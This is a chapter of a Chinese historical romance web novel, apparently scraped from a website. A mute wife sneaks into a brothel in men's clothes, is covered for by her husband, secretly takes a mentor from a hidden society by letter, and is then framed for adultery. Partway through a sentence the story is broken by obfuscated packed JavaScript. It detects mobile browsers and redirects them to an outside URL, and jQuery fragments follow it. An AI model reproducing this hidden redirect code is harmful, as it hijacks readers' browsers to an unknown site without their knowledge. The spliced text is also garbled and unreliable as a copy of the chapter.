8. 第 8 章
作品:《哑女谏客》 易芷面上有些发热,心也在胸口砰砰直跳。
面前美人肤如凝脂,唇红齿白,纱衣半拢,隐约露出半个肩头,冲她甜甜一笑,作势要靠在她怀中。
易芷一惊,全身僵直,由着那如兰吐息越来越近。
春月轻咳一身,粗着嗓子说道:“离我家…公子远些。”
美人簇着柳叶眉,嘟着小嘴望向她。
易芷摇了摇头。
美人提起纱裙扭头就走,气呼呼地丢下一句:“不解风情。”
易芷只觉得坐立难安,为了切身体会何为“载实物,明民意”,她和春月换了男装直奔云雨苑。她也好奇在这个时代,没有庇护的女子是如何存活。
与她想象的强撑中带着疲惫的讨好或是欲望外泄下的精明算计不同,这里的女子虽穿着性感,举止大胆,但分寸拿捏得极有尺度,她亲眼见有客人手往女子裙摆里伸,那女子却不恼,嬉笑打趣几句,不着痕迹地将那双手抽了出去。
大厅中偶有几声喧哗,都会被柔柔的几句女声安抚下去,侍从在大厅里有序往来,暗处有穿劲装的黑衣男子警戒地巡视四周。
这里不像风月场所,有序到有些怪异,易芷心想。
“王公子这是怎么了,如此生气。”女子穿一袭绿衣,捧着杯酒往王公子嘴边送。
王公子面色稍霁,闷声喝了口酒,说道:“还不是那个万海阁,把我们害惨了。”
“万海阁”这三个字太有吸引力,易芷面无异色地侧身,提着耳朵打听。
“不过是个连头都不敢露的江湖组织,怎么惹到王公子您了?”绿衣女子往王公子腿上一座,娇声询问道。
王公子美人在怀,再没了开始的怒气,温言回答道:“你听说过近日的那些传言吗,那篇恶尺论,不知怎么传到了陛下耳朵里,早朝发了好大脾气,现下正要抓人呢,但那万海阁就像阴沟里的老鼠,实在难寻其踪影。”
绿衣女子抚着他起伏的胸口,安抚道:“倒也不必忧心,抓人只是早晚问题,只是看怎么抓快些,王公子贵为丞相之子,肯定是手到擒来。”
王公子极为受用,握着女子柔荑,眼露几分凶光:“自然,现下已传播消息,发现线索者重赏,只等那贼人露头,便可一举拿下。”
易芷喉咙发紧,如坐针毡,她强按下心中的恐惧,带着春月就往楼外走。
“等等,怎么没见过你?”王公子瞧见个不熟悉的人影,云雨苑对客人的身份、地位、财富都有严格要求,以至于苑内基本都是熟客,易芷是报了陆怀瑾的名头才得以进入。
易芷心叫不好,忘了这一茬,要是被发现是个哑巴,她的身份昭然若揭,作为内眷公然出入风月场合,定然要被唾骂,加上本就有“克夫克母”的坏名声,肯定会被钉在耻辱柱上再翻不了身。
她僵直着身体,不敢回头,感觉所有人的视线都如有实质般直直盯向她,她的大脑却一片空白,一时间面无血色。
“王兄这是在干什么?”熟悉的声音从她身后传来,还是那样带着几分慵懒和不羁。
陆怀瑾拿出个笠帽往易芷头上轻轻一戴,她视线中便只有朦胧的一片白,陆怀瑾揽着她的肩往后一转,轻轻一用力让她伏在自己胸口前。
易芷没反应过来,耳朵就已经靠在陆怀瑾宽阔的胸口,听到他的心跳声,一声声,沉稳有力。
她笠帽下的脸烧得通红,被吓得厉害,此刻全身乏力,陆怀瑾趁机揽住了她的腰,二人紧紧贴在一块,她知道陆怀瑾是故意的,在笠帽长长白纱的掩饰下狠狠揪了他的胸口。
陆怀瑾闷哼一声,贴着她轻声抱怨道:“…疼。”手却一点不放。
王公子见陆怀瑾与一男子姿态亲密,挑眉问道:“陆公子胃口真是好,连男子也不放过。”
“见笑见笑,我这…宝贝爱吃醋,一路尾随我到这儿,扰了大家雅兴,陆某在此赔个罪”,他躬身作揖,“家中有悍妇,不便外露容貌,还望诸位见谅。”
易芷闻言又狠狠掐了他一把。
王公子似有些不信,但这终归是别人家事,他素来看不上陆怀瑾,此时轻哼一声,说道:“陆公子可要管好你的人。”
“自然。”陆怀瑾话毕,牵着易芷的手就往外走。
一直走到僻静处,他掀开那笠帽,与易芷大眼瞪着小眼,见易芷不服气地瞪着他,陆怀瑾失笑道:“娘子就算要查岗,也不必这般,只需与为夫说一声,为夫自然将行程拱手送上。”
“云雨苑不是什么好地方,娘子还是少来,要是真想见识见识,为夫不介意一同前往”,陆怀瑾正色道,替易芷将笠帽的白纱放下,细心整理好,“娘子受惊了,先回家吧。”
易芷点点头,她确实不便再留,家中书房还有手稿,她须得全部处理,这次再被陆婉华发现就不可能只是没收纸笔这般容易了。
易芷往外走,陆怀瑾却向内走,易芷愣住了,这厮见她来,竟然还敢当面逛青楼,虽然她本意不在此,但心中却像长了个疙瘩,膈得她难受。
易芷一路心不在焉。
等到了书房,她叫春月拿火盆来。
手稿被放在火上,纸遇火迅速燃烧,她却盯着火神游起来,直到指尖被火一烫,她才醒过神来,慌忙丢开。
春月拿起她的手小心查看,见只是发红,才松了口气,问道:“小姐,你怎么这么不小心…”
易芷摇了摇头,干脆将手稿一次性都扔进了火盆中,火焰燃得更大了,火光照在易芷苍白的脸上,她负气地想,怎么能为陆怀瑾乱了心思。
一直到火灭了,她的心才渐渐平静下来。
想想别的,她对自己说道。
前几日她给万海阁寄去一封极尽“谄媚之言”的信,信中表达了对改稿之人的万般仰慕和崇敬,对他所写文章的高度赞赏和艳羡,最后几句才道出核心观点:询问是否收徒。
易芷写这封信时少见的抓耳挠腮,只觉得忍辱负重,写了不少违心之言,也是犹豫再三才将信
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956814|193163||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
寄了出去。
她这几日心情极度矛盾,一半是想信尽快被收到,好给她一个结果,一半又想信中途就被截下,再没人能看到这些令她想起就尴尬的“胡言乱语”。
她正叹气,忽见窗外飞来一只翠鸟,绿豆大小的黑眼一动不动地望向她。
她凑近去看,果然见到那鸟脚边捆着一个竹筒,她忐忑地取下,视死如归地打开。
信很短,她快速扫视,内容大致如下:夸耀自己文笔确实不错,间歇性贬低易芷水平不高,又强调自己从不收徒,最后语音一转,表示易芷态度不错,勉强收下这个笨徒弟。
易芷气得牙痒痒,盯着那封信像是要看出个洞来,她深吸几口气,才勉强压下怒火。
她愤愤将那封信扔到火盆中一并烧毁,走到书桌前拿起笔就要写回信。
各种难听的话在脑海中直打转,真正要落笔时,她却迟疑下来,要是此时写信回怼,那么之前所作的一切都不作数。
她黑着脸将笔搁在笔架上,隔一会儿又叹口气拿起来,如此反复多次,终于还是妥协般地写下几个字:恩师钧鉴。
行文先是对此人的赞颂,后面才提出自己的一些疑惑,譬如民意如何探寻,文章怎么写才能被接受。
好不容易写完,易芷长舒一口气,将纸小心卷起放入竹筒,重新绑在翠鸟脚上,那翠鸟便展翅高飞,一会儿就不见踪影。
今日所经之事众多,她累得头发昏,被春月扶着回到房中休息,这一睡就是到第二天早上。
当她正梦会周公,睡得正香时,一盆水照着她的脸泼下,此时天气还未完全转暖,冷得易芷一哆嗦,完全清醒过来。
她一睁眼却见个老仆妇带着一帮小丫鬟气势汹汹地瞪着她,春月想将他们赶走,奈何人多势众,她也是无能为力。
易芷眉头一皱,满心的困惑,这是易家,她是正妻,哪有下人敢这样对主子的。
那仆妇恶狠狠瞪着她,指着她的鼻子大骂道:“不守妇道的贱人,竟敢在主君眼皮子底下偷情,要不是陆大姑娘提醒我,还不知道家中出了这样的祸事,今天老仆就是豁了这条老命,也要叫你付出代价。”
说罢,那双瘦如鸡爪的老手就将易芷强拽着拉下了床,易芷完全没反应过来,直到摔到床下,痛得她闷哼一生,她才知道,这是又被陆婉华陷害了。
她挣扎起来,春月急得双眼发红,大声辩解道:“你们有什么证据,凭什么这样说我家小姐,就不怕说错了话日后责罚吗?”
“证据?还提证据,昨日有人亲眼见你家小姐飞鸽传书,又从火盆中搜出来一页纸,上面写着好多好话,怕是都没对主君这样说过话吧?还有什么可辩解的。”老仆妇将她拖起来就往外走。
易芷这会儿才琢磨清楚,昨日火盆中的纸没烧尽,她在给万海阁写信前打的草稿被偷偷找出来了!
易芷的指甲掐进了掌心,痛楚给她的大脑带来一丝清明,这样的境况该怎么办,她一遍遍问自己。

